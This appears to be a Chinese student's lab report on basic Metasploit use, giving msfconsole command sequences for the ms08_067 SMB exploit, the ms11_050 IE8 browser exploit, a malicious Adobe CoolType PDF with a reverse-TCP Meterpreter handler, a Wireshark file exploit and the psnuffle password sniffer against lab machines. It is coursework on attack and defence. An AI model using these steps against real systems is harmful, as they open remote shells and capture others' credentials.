一、实验内容
二、实验步骤
1、一个主动攻击实践
2、一个针对浏览器的攻击,如ms11_050;
3、一个针对客户端的攻击,如Adobe;
4、成功应用任何一个辅助模块
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,如ms08_067;
一个针对浏览器的攻击,如ms11_050;
一个针对客户端的攻击,如Adobe;
成功应用任何一个辅助模块。
靶机为Win2000
msfconsole
进入控制台msf > use exploit/windows/smb/ms08_067_netapi //选择漏洞
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //选择载荷
msf exploit(ms08_067_netapi) > set LHOST 10.0.0.110 //攻击机IP
msf exploit(ms08_067_netapi) > set LPORT 5315
msf exploit(ms08_067_netapi) > set RHOST 10.0.0.111 //靶机IP
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit
ipconfig
等指令可以获得靶机的信息靶机为Win7,浏览器为IE8
search ms11_050
,搜索漏洞的相关信息use exploit/windows/browser/ms11_050_mshtml_cobjectelement
,使用该漏洞# set payload windows/meterpreter/reverse_tcp //选择载荷
# set LHOST 10.1.1.109 //设置攻击机IP
# set LPORT 5315
# set RHOST 10.1.1.243 //设置靶机IP
# exploit
靶机为Win7
search adobe
,查找漏洞use windows/fileformat/adobe_cooltype_sing
,使用漏洞# set payload windows/meterpreter/reverse_tcp //选择载荷
# set LHOST 10.1.1.109 //攻击机IP
# set FILENAME 20165315.pdf //设置生成pdf文件的文件名
# exploit
# use exploit/multi/handler //进入监听模块
# set payload windows/meterpreter/reverse_tcp
# set LHOST 10.1.1.109 //攻击机IP
# set LPORT 5315
# exploit
靶机为WinXP(也尝试了Win7)
# cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat //进入漏洞程序所在目录
# msfconsole
# use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
# set payload windows/meterpreter/reverse_tcp //选择载荷
# set LHOST 10.1.1.109 //攻击者地址
# exploit
靶机为Win7,被嗅探的上网浏览器为IE8
cd /usr/share/metasploit-framework/modules/auxiliary
进入到目录中查看有什么辅助模块sniffer
嗅探器进行实验,进入目录后发现只有psnuffle.rb
,这是metasploit中的口令嗅探工具,只有在接入对方网络的初始访问点后才能进行嗅探use auxiliary/sniffer/psnuffle
,使用该漏洞run
开始运行,可以看见捕获了上网的记录,渗透成功~解决过程:
这个实验采用的漏洞是exploit/windows/browser/adobe_cooltype_sing
,这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出,而我使用的Adobe版本是11.0,修复了该漏洞,所以无法实现渗透攻击。换一个9.0版本的应该就可以了,然鹅我还没卸载成功之前的版本,有时间再做吧,不拘泥于这一个客户端程序。
exploit就是用于渗透攻击的工具,可以运送payload载体;
payload是载荷,在实验中就是一段shellcode代码,可以将恶意代码植入正常程序,具体执行攻击代码的模块;
encode是用于给恶意代码编码,进行伪装,实现面杀的工具。
通过这次实验,深切的体会到了补丁的重要性,自己电脑上一定要打好补丁。而且不要轻易打开来源不明的文档文件等等,可能是携带后门程序的恶意文件。还有就是要定期更新软件,各个软件的更新可能会包含补丁的升级,让电脑更加安全。
2018-2019-2 20165315《网络攻防技术》Exp5 MSF基础应用
原文:https://www.cnblogs.com/yh666/p/10720015.html